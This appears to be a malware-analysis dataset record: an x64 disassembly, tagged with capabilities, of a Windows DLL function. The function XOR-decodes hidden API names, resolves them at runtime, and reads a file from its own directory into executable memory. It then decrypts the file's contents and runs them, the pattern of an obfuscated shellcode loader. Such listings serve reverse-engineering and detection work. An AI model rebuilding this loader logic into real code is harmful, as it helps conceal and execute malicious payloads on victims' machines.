Function at 0x180001050
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x178]
sub rsp, 0x278
mov dword [rbp - 0x70], 0x52f8fcad
mov eax, dword [rbp - 0x70]
mov ebx, 4
mov esi, 0xd
mov dword [rbp - 0x6c], 0x3c8a99c6
mov dword [rbp - 0x68], 0x60cb90c8
mov dword [rbp + 0x1a0], eax
mov dword [rbp - 0x64], 0x3e949883
mov byte [rbp - 0x60], 0xad
lea rcx, [rbp - 0x70]
mov edx, ebx
mov r8d, esi
mov rax, rdx
inc rdx
lea rcx, [rcx + 1]
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [rcx + 3]
mov byte [rcx - 1], al
dec r8
jne 0x1800010a0
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x63], r8b
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x18000115d
mov dword [rbp + 8], 0x9ba57f1a
mov eax, dword [rbp + 8]
mov dword [rbp + 0xc], 0xd6d11a5d
mov dword [rbp + 0x10], 0xf7d01b75
mov dword [rbp + 0x14], 0xf7cc397f
mov dword [rbp + 0x18], 0xf6c4317f
mov dword [rbp + 0x1a0], eax
mov word [rbp + 0x1c], 0x3e7f
mov byte [rbp + 0x1e], 0xa5
lea rcx, [rbp + 8]
mov rdx, rbx
mov r8d, 0x13
nop dword [rax]
mov rax, rdx
inc rdx
lea rcx, [rcx + 1]
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [rcx + 3]
mov byte [rcx - 1], al
dec r8
jne 0x180001120
lea rdx, [rbp + 8]
mov rcx, rdi
mov byte [rbp + 0x1b], r8b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1b8], rax
test rax, rax
jne 0x18000116b
xor eax, eax
add rsp, 0x278
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x260], r14
mov dword [rbp - 0x80], 0x4f1b2cec
mov eax, dword [rbp - 0x80]
mov qword [rsp + 0x258], r15
mov r14d, 5
mov r15d, 2
mov dword [rbp + 0x1a0], eax
mov dword [rbp - 0x7c], 0x2e7e5eaf
mov dword [rbp - 0x78], 0x265d4998
mov dword [rbp - 0x74], 0x4f5a4980
mov r10d, r14d
lea r9, [rbp - 0x7b]
mov r11d, r15d
nop word [rax + rax]
lea rax, [r10 - 1]
lea rcx, [r10 - 2]
lea r9, [r9 + 6]
and eax, 3
movzx r8d, byte [rbp + rax + 0x1a0]
movzx eax, byte [r9 - 7]
xor al, r8b
mov byte [r9 - 0xb], al
mov rax, r10
add r10, 6
and eax, 3
movzx edx, byte [rbp + rax + 0x1a0]
movzx eax, dl
xor al, byte [r9 - 6]
mov byte [r9 - 0xa], al
lea rax, [rcx - 1]
and ecx, 3
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [r9 - 5]
mov byte [r9 - 9], al
movzx eax, byte [rbp + rcx + 0x1a0]
xor al, byte [r9 - 4]
mov byte [r9 - 8], al
movzx eax, byte [r9 - 3]
xor al, r8b
mov byte [r9 - 7], al
movzx eax, byte [r9 - 2]
xor al, dl
mov byte [r9 - 6], al
dec r11
jne 0x1800011c0
lea rdx, [rbp - 0x80]
mov rcx, rdi
mov byte [rbp - 0x74], r11b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x20], rax
test rax, rax
je 0x18000146a
mov dword [rbp - 0x58], 0x284b97d2
mov eax, dword [rbp - 0x58]
mov dword [rbp - 0x54], 0x5c39fe84
mov dword [rbp - 0x50], 0x6927f6a7
mov dword [rbp - 0x4c], 0x4b24fbbe
mov byte [rbp - 0x48], 0xd2
mov dword [rbp + 0x1a0], eax
lea rcx, [rbp - 0x58]
mov rdx, rbx
mov r8, rsi
nop dword [rax]
mov rax, rdx
inc rdx
lea rcx, [rcx + 1]
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [rcx + 3]
mov byte [rcx - 1], al
dec r8
jne 0x1800012a0
lea rdx, [rbp - 0x58]
mov rcx, rdi
mov byte [rbp - 0x4b], r8b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x18000146a
mov dword [rsp + 0x60], 0x390d074d
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x64], 0x7f79620a
mov dword [rsp + 0x68], 0x6a686b24
mov dword [rsp + 0x6c], 0x39687d24
mov r10, r14
mov dword [rbp + 0x1a0], eax
lea r9, [rsp + 0x65]
mov r11, r15
nop dword [rax]
nop word [rax + rax]
lea rax, [r10 - 1]
lea rcx, [r10 - 2]
lea r9, [r9 + 6]
and eax, 3
movzx r8d, byte [rbp + rax + 0x1a0]
movzx eax, byte [r9 - 7]
xor al, r8b
mov byte [r9 - 0xb], al
mov rax, r10
add r10, 6
and eax, 3
movzx edx, byte [rbp + rax + 0x1a0]
movzx eax, byte [r9 - 6]
xor al, dl
mov byte [r9 - 0xa], al
lea rax, [rcx - 1]
and ecx, 3
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [r9 - 5]
mov byte [r9 - 9], al
movzx eax, byte [rbp + rcx + 0x1a0]
xor al, byte [r9 - 4]
mov byte [r9 - 8], al
movzx eax, byte [r9 - 3]
xor al, r8b
mov byte [r9 - 7], al
movzx eax, byte [r9 - 2]
xor al, dl
mov byte [r9 - 6], al
dec r11
jne 0x180001320
lea rdx, [rsp + 0x60]
mov rcx, rdi
mov byte [rsp + 0x6c], r11b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
test rax, rax
je 0x18000146a
mov dword [rsp + 0x50], 0x735fdd1b
mov eax, dword [rsp + 0x50]
mov word [rsp + 0x5a], 0x1633
mov dword [rbp + 0x1a0], eax
movzx r9d, byte [rbp + 0x1a1]
movzx r8d, byte [rbp + 0x1a2]
movzx edx, byte [rbp + 0x1a3]
movzx ecx, r9b
xor r9b, 0xb4
xor cl, 0xb8
mov byte [rsp + 0x5c], 0x1b
mov byte [rsp + 0x50], 0x52
mov byte [rsp + 0x51], cl
movzx ecx, r8b
xor r8b, 0x33
xor cl, 0x3e
mov byte [rsp + 0x55], r9b
mov byte [rsp + 0x59], 0
mov byte [rsp + 0x52], cl
movzx ecx, dl
xor dl, 0x16
xor cl, 0x17
mov byte [rsp + 0x57], dl
lea rdx, [rsp + 0x50]
mov byte [rsp + 0x53], cl
movzx ecx, al
xor al, 0x1b
xor cl, 0x5d
mov byte [rsp + 0x56], r8b
mov byte [rsp + 0x58], al
mov byte [rsp + 0x54], cl
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x38], rax
test rax, rax
jne 0x180001471
xor eax, eax
jmp 0x180001841
mov dword [rbp - 0x40], 0xe0b760be
mov eax, dword [rbp - 0x40]
mov qword [rsp + 0x270], r12
mov dword [rbp - 0x3c], 0x93d80cfd
mov dword [rbp - 0x38], 0x8ed628db
mov dword [rbp - 0x34], 0xe0d20cda
mov dword [rbp + 0x1a0], eax
mov byte [rbp - 0x30], 0xbe
lea rcx, [rbp - 0x40]
mov rdx, rbx
mov r8, rsi
nop dword [rax]
mov rax, rdx
inc rdx
lea rcx, [rcx + 1]
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [rcx + 3]
mov byte [rcx - 1], al
dec r8
jne 0x1800014b0
lea rdx, [rbp - 0x40]
mov rcx, rdi
mov byte [rbp - 0x33], r8b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
je 0x180001839
mov dword [rbp - 0x10], 0xfe5150
mov eax, dword [rbp - 0x10]
mov qword [rsp + 0x268], r13
mov dword [rbp - 0xc], 0x748c3806
mov dword [rbp - 8], 0x50923025
mov dword [rbp - 4], 0x658a3e22
mov dword [rbp + 0x1a0], eax
mov word [rbp], 0x2533
mov byte [rbp + 2], 0xfe
mov r8, r15
lea rdx, [rbp - 0xb]
mov r9d, 3
lea rax, [r8 - 2]
lea rdx, [rdx + 5]
and eax, 3
movzx ecx, byte [rbp + rax + 0x1a0]
movzx eax, cl
xor al, byte [rdx - 6]
mov byte [rdx - 0xa], al
lea rax, [r8 - 1]
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [rdx - 5]
mov byte [rdx - 9], al
mov rax, r8
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [rdx - 4]
mov byte [rdx - 8], al
lea rax, [r8 + 1]
add r8, r14
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [rdx - 3]
mov byte [rdx - 7], al
movzx eax, byte [rdx - 2]
xor al, cl
mov byte [rdx - 6], al
dec r9
jne 0x180001531
lea rdx, [rbp - 0x10]
mov rcx, rdi
mov byte [rbp - 1], r9b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test rax, rax
je 0x18000182f
mov dword [rsp + 0x70], 0x3c03f76d
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x74], 0x48719e3b
mov dword [rsp + 0x78], 0x7a6f9618
mov dword [rsp + 0x7c], 0x3c66921f
lea r9, [rsp + 0x75]
mov dword [rbp + 0x1a0], eax
nop dword [rax + rax]
lea rax, [r14 - 1]
lea rcx, [r14 - 2]
lea r9, [r9 + 6]
and eax, 3
movzx r8d, byte [rbp + rax + 0x1a0]
movzx eax, r8b
xor al, byte [r9 - 7]
mov byte [r9 - 0xb], al
mov rax, r14
add r14, 6
and eax, 3
movzx edx, byte [rbp + rax + 0x1a0]
movzx eax, dl
xor al, byte [r9 - 6]
mov byte [r9 - 0xa], al
lea rax, [rcx - 1]
and ecx, 3
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [r9 - 5]
mov byte [r9 - 9], al
movzx eax, byte [rbp + rcx + 0x1a0]
xor al, byte [r9 - 4]
mov byte [r9 - 8], al
movzx eax, byte [r9 - 3]
xor al, r8b
mov byte [r9 - 7], al
movzx eax, byte [r9 - 2]
xor al, dl
mov byte [r9 - 6], al
dec r15
jne 0x1800015f0
lea rdx, [rsp + 0x70]
mov rcx, rdi
mov byte [rsp + 0x7c], r15b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x18000182f
mov dword [rsp + 0x40], 0x5f58c7ca
mov eax, dword [rsp + 0x40]
mov word [rsp + 0x4a], 0x1e2c
mov dword [rbp + 0x1a0], eax
movzx r9d, byte [rbp + 0x1a1]
movzx edx, byte [rbp + 0x1a3]
movzx r8d, byte [rbp + 0x1a2]
movzx ecx, r9b
xor r9b, 0xa6
xor cl, 0xb4
xor r8b, 0x2c
mov byte [rsp + 0x4c], 0xca
mov byte [rsp + 0x41], cl
movzx ecx, dl
xor dl, 0x1e
xor cl, 0x2d
mov byte [rsp + 0x47], dl
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x43], cl
movzx ecx, al
xor al, 0xca
xor cl, 0xa9
mov byte [rsp + 0x40], 0x6c
mov byte [rsp + 0x42], r8b
mov byte [rsp + 0x44], cl
mov rcx, rdi
mov byte [rsp + 0x45], r9b
mov byte [rsp + 0x46], r8b
mov byte [rsp + 0x48], al
mov byte [rsp + 0x49], r15b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x18000182f
mov dword [rbp - 0x28], 0xc39d4ce6
mov eax, dword [rbp - 0x28]
mov dword [rbp - 0x24], 0xbace01b1
mov dword [rbp - 0x20], 0xfaef1c95
mov dword [rbp - 0x1c], 0xbbef3cc8
mov byte [rbp - 0x18], 0xe6
mov dword [rbp + 0x1a0], eax
lea rcx, [rbp - 0x28]
mov rax, rbx
inc rbx
lea rcx, [rcx + 1]
and eax, 3
movzx eax, byte [rbp + rax + 0x1a0]
xor al, byte [rcx + 3]
mov byte [rcx - 1], al
dec rsi
jne 0x180001763
lea rdx, [rbp + 0x40]
mov r8d, 0x104
xor ecx, ecx
mov byte [rbp - 0x1b], sil
call qword [rbp + 0x1b8]
test eax, eax
je 0x18000182f
lea ecx, [rax - 1]
movsxd rax, ecx
test ecx, ecx
jle 0x1800017cb
nop dword [rax + rax]
cmp byte [rbp + rax + 0x40], 0x5c
je 0x1800017c3
dec rax
dec ecx
test rax, rax
jg 0x1800017b0
jmp 0x1800017cb
movsxd rax, ecx
mov byte [rbp + rax + 0x41], 0
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x40]
call rdi
xor r15d, r15d
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x30], r15
lea r8d, [r15 + 1]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 3
call qword [rbp + 0x20]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000182f
xor edx, edx
mov rcx, rax
call qword [rbp + 0x28]
lea r9d, [r15 + 0x40]
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
mov esi, eax
call qword [rbp + 0x30]
mov rcx, rdi
mov rbx, rax
test rax, rax
jne 0x18000185d
call r12
xor eax, eax
mov r13, qword [rsp + 0x268]
mov r12, qword [rsp + 0x270]
mov r14, qword [rsp + 0x260]
mov r15, qword [rsp + 0x258]
add rsp, 0x278
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea r9, [rbp + 0x1a8]
mov r8d, esi
mov rdx, rax
mov qword [rsp + 0x20], r15
call qword [rbp + 0x38]
mov rcx, rdi
test eax, eax
jne 0x18000188c
call r12
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call r14
jmp 0x18000182f
call r12
mov edx, dword [rbp + 0x1a8]
mov r8, rbx
mov rcx, rbx
call section..text
lea r9, [rbp + 0x1b0]
mov edx, 0x600
mov r8d, 0x20
mov rcx, rbx
call r13
test eax, eax
je 0x18000187c
mov qword [0x180016830], rbx
call rbx
mov eax, 1
jmp 0x180001831